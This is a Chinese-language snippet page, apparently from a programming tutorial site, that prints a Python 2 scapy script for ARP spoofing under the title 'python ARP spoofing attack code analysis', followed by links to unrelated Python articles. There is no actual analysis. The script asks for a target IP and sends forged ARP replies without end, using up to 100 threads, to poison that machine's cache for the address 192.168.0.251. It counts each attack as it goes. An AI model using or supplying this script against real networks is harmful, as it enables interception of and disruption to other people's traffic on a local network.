手机
当前位置:查字典教程网 >脚本专栏 >python >python发送arp欺骗攻击代码分析
python发送arp欺骗攻击代码分析
摘要:复制代码代码如下:#-*-coding:cp936-*-fromscapy.allimport*fromthreadingimportThr...

复制代码 代码如下:

# -*- coding: cp936 -*-

from scapy.all import *

from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):

def __init__(self,ip):

Thread.__init__(self)

self.ip = ip

def run(self):

global BROADCASTMAC

arp = ARP()

arp.psrc = '192.168.0.251'

arp.hwsrc = BROADCASTMAC

arp.pdst = self.ip

arp.op = 2

sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):

def __init__(self,ip):

Thread.__init__(self)

self.ip = ip

def run(self):

limit = 100

total = 0

while True:

if activeCount() < limit:

Loop(self.ip).start()

total = total + 1

print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':

ip = raw_input('请输入要进行ARP攻击的机器IP:')

Main(ip = ip).start()

【python发送arp欺骗攻击代码分析】相关文章:

python 生成不重复的随机数的代码

python不带重复的全排列代码

python远程登录代码

python单链表实现代码实例

python读文件逐行处理的示例代码分享

python 数据加密代码

python 布尔操作实现代码

python批量修改文件后缀示例代码分享

Python群发邮件实例代码

python搭建简易服务器分析与实现

精品推荐
分类导航